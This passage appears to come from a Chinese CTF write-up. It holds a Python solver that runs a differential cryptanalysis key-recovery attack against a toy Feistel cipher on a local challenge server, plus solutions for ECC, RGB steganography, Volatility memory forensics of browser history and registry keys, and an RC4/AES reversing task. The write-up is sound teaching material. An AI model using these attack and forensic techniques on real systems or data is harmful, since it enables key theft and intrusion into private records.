encrypt(msg[i:i+4],key) return cipher def encrypt(msg,key): subkeys = unpack('>4H',key) left,right = unpack('>2H',msg) right = right^subkeys[3] for i in range(3): tmp = left^f(subkeys[i]^right) left = right right = tmp left = right^left return pack('>2H', left, right) def dfa_f(): for i in range(1000): input1 = random.randint(0,0xffff) output1 = f(input1) input2 = input1^0x8080 output2 = f(input2) assert(output1^output2 == 0x400) def genpayload1(num): payload = '' for i in range(num): data1 = random.randint(0,0xffff) data2 = random.randint(0,0xffff) data2diff = data2^0x8080 payload += pack('>2H',data1,data2) payload += pack('>2H',data1,data2diff) return payload def genpayload2(num): payload = '' for i in range(num): data1 = random.randint(0,0xffff) data2 = random.randint(0,0xffff) data2diff = data2^0x400 payload += pack('>2H',data1,data2) payload += pack('>2H',data1,data2diff) return payload def testkey_round3(pairs,key): for pair in pairs: output1 = pair[0] output2 = pair[1] output1_0,output1_1 = unpack('>2H',output1) output2_0,output2_1 = unpack('>2H',output2) f_out_diff = output1_1 ^ output2_1 ^0x400 f_in1 = key^output1_0^output1_1 f_in2 = key^output2_0^output2_1 if(f(f_in1)^f(f_in2)==f_out_diff): continue else: return False return True def testkey_round2(pairs,key,r3key): for pair in pairs: output1 = pair[0] output2 = pair[1] output1_0,output1_1 = unpack('>2H',output1) output2_0,output2_1 = unpack('>2H',output2) output1_r3_1 = output1_0^output1_1 output2_r3_1 = output2_0^output2_1 f_out_diff = output1_r3_1^output2_r3_1^0x400 f_in1 = key^output1_1^f(r3key^output1_r3_1) f_in2 = key^output2_1^ f(r3key^output2_r3_1) if(f(f_in1)^f(f_in2)==f_out_diff): continue else: return False return True def attack_round1(msg,cipher,keys): ciphers = [cipher[i:i+4] for i in range(0,len(cipher),4)] msgs = [msg[i:i+4] for i in range(0,len(msg),4)] c = ciphers[0] m = msgs[0] output0,output1 = unpack('>2H',c) output0 = output0^output1 input0,input1 = unpack('>2H',m) candkeys = [] for key in keys: r2k,r3k = key output_r2_1 = output0 output_r2_0 = output1^f(r3k^output0) output_r1_1 = output_r2_0 output_r1_0 = output_r2_1^f(r2k^output_r2_0) k0 = output_r1_0^input1 for k in range(0x10000): f_in = k^output_r1_0 f_out = output_r1_1^input0 if f(f_in) == f_out: candkeys.append([k,r2k,r3k,k0]) return candkeys def attack_round2(msg,cipher,keys): ciphers = [cipher[i:i+4] for i in range(0,len(cipher),4)] cipher_pairs = [(ciphers[i],ciphers[i+1]) for i in range(0,len(ciphers),2)] candkeys = [] for r3k in keys: for key in range(0x10000): if testkey_round2(cipher_pairs,key,r3k): candkeys.append([key,r3k]) return candkeys def attack_round3(msg,cipher): ciphers = [cipher[i:i+4] for i in range(0,len(cipher),4)] cipher_pairs = [(ciphers[i],ciphers[i+1]) for i in range(0,len(ciphers),2)] candkeys = [] for key in range(0x10000): if testkey_round3(cipher_pairs,key): candkeys.append(key) return candkeys def exploit(): con = remote('127.0.0.1',10005) context.log_level = 'debug' con.recvuntil("XXXX+") d = con.recvuntil(")")[:-1] con.recvuntil(" == ") target = con.recvline().strip() ans = bruteforce(lambda x: sha256(x+d).hexdigest() == target,string.letters+string.digits,4) con.sendlineafter("Give me XXXX",ans) con.recvuntil('is:') flag = con.recvline().strip() payload = genpayload1(6)+genpayload2(6) con.sendlineafter(':',payload) cipher = con.recv(len(payload)) cipher_round3 = cipher[:48] msg_round3 = payload[:48] possible_keys = attack_round3(msg_round3,cipher_round3) print 'round3 keys maybe:', possible_keys cipher_round2 = cipher[48:96] msg_round2 = payload[48:96] possible_keys = attack_round2(msg_round2,cipher_round2,possible_keys) print 'round2 keys maybe:', possible_keys possible_keys = attack_round1(msg_round2,cipher_round2,possible_keys) print 'round1&0 keys maybe:',possible_keys for key in possible_keys: real_key = pack('>4H',*key) print 'decrypt with key ',repr(real_key) print repr(decrypt_ecb(flag,real_key)) con.close() def exploit_local(): key = os.urandom(8) print repr(key) payload = genpayload1(6)+genpayload2(6) cipher = encrypt_ecb(payload,key) cipher_round3 = cipher[:48] msg_round3 = payload[:48] possible_keys = attack_round3(msg_round3,cipher_round3) print 'round3 keys maybe:', possible_keys cipher_round2 = cipher[48:96] msg_round2 = payload[48:96] possible_keys = attack_round2(msg_round2,cipher_round2,possible_keys) print 'round2 keys maybe:', possible_keys possible_keys = attack_round1(msg_round2,cipher_round2,possible_keys) print 'round1&0 keys maybe:',possible_keys flag = 'flag{test}' flag = encrypt_ecb(flag,key) print decrypt_ecb(flag,key) for key in possible_keys: real_key = pack('>4H',*key) print 'decrypt with key ',repr(real_key) print repr(decrypt_ecb(flag,real_key)) exploit() Misc1.Login签到签到就是加入QQ群,群公告里面有FLAGflag{e7gRR32wJJcHwQjwc2k9qFZ6fvn3gZ8P}2.baby_GeometryECC参考https://blog.csdn.net/sitebus/article/details/82835492from sage.all import *a = 6277x = 1y = 5EC = EllipticCurve(Zmod(a), [x, y])G = EC(10, 180)P = EC(5756, 864)r = 6lists = [ (1872, 4517), (226, 2), (2267, 970), (6239, 241), (2859, 3408), (5000, 774), (1568, 6031), (2879, 587), (2579, 2114), (2267, 970), (1568, 6031), (2879, 587), (2267, 970), (4070, 5982), (5488, 2334), (5873, 5782)]m = []for c in lists: C = EC(c) M = C - r * P m.append(M[0]) print("flag{" + bytearray(m).decode() + "}")3.rrrgggbbbRGB最低位隐写三个通道都隐藏了信息,直接stegsolve将其提取出来,发现三个文件头有相似结构,根据题目提示以及已有可见字符,可以推断组合方式就是r->g->b顺序按字节轮流填充即可r = open("r","rb").read()g = open("g","rb").read()b = open("b","rb").read()length = len(r)print(len(r),len(g),len(b))file = open("flag","wb+")for i in range(length): file.write(r[i].to_bytes(1,byteorder='little',signed=False)) file.write(g[i].to_bytes(1,byteorder='little',signed=False)) file.write(b[i].to_bytes(1,byteorder='little',signed=False))file.close()或者with open(r'f:\share\20210923\r.dat','rb') as f1: data1=f1.read()[:202] with open(r'f:\share\20210923\g.dat','rb') as f2: data2=f2.read()[:202] with open(r'f:\share\20210923\b.dat','rb') as f3: data3=f3.read()[:202] data=b'' for i in range(202): data+=bytes([data1[i],data2[i],data3[i]]) print(data.hex()) 发现是BPG格式文件,是一种特殊的图片,直接bpgview工具查看即可得到flag,工具链接https://bellard.org/bpg/bpg-0.9.8-win64.zip 4.Browserimageinfo发现是win7提示默认浏览器参考https://blog.csdn.net/weixin_29811891/article/details/118350644提取第一部分volatility -f Browser.raw --profile=Win7SP0x86 printkey -K "SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice"得到MSEdgeHTM第二部分grep搜filescan | grep Edge得到版本号,92.0.902.78桌面存在浏览器备份文件dump后sqlite打开volatility -f Browser.raw --profile=Win7SP0x86 dumpfiles -Q 0x000000007d95f648 --dump-dir .找num_visits最多的,拼接MSEdgeHTM_92.0.902.78_https://weibo.com/login.phpmd5后即为flag或者.\volatility.exe -f .\Browser.raw --profile=Win7SP1x86_23418 printkey -K "Software\ Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice" 得到默认浏览器 MSEdgeHTM.\volatility.exe -f .\Browser.raw --profile=Win7SP1x86_23418 filescan 搜索 Edge\Application 得到版本号 92.0.902.78搜索 Web Database 文件并导出.\volatility.exe -f .\Browser.raw --profile=Win7SP1x86_23418 dumpfiles -Q 0x00000 0007d95f640 -D ./ 修改后缀为.db 用 SQLite Database Browser 直接打开得到浏览次数最多的网站https://weibo.com/login.php 组合再 md5 加密一下得到 flagMSEdgeHTM_92.0.902.78_https://weibo.com/login.php flag{a7de3bb43d18196f4ca5570aa8755db9}或者先是拿到1.默认浏览器(请给出在注册表中可证明它是默认浏览器的对应的值,如:IE.HTTP)一般都在注册表,耐心翻翻./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 hivelist./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 hivelist -o 0x8f484880看到追加到注册表的地址然后去检索win7 的注册表./volatility -f /root/CTF/Browser.raw --profile=Win7SP1x86 dumpfiles -Q0x000000007da2abf0 -D ./下载下来导入navicat降序下然后就能看到https://weibo.com/login.php拼接MSEdgeHTM_92.0.902.78_https://weibo.com/login.php得到flagRe1.evvverse IDA打开定位main函数发现程序先进行flag格式判断,然后RC4加密,后面又经过AES加密这里有误导,其实不是des动态调试获得key和iv,然后和固定字符串比较,因此对字符串先解AES,再解RC4即可得到正确的输入。模拟程序加密流程验证如下:参考链接: https://mp.weixin.qq.com/s/TE6KokKr9mpjGtQ9mOe2MQhttps://blog.csdn.net/qq_45603443/article/details/120475301?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-2.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7Edefault-2.no_search_link
创建帐户或登录后发表意见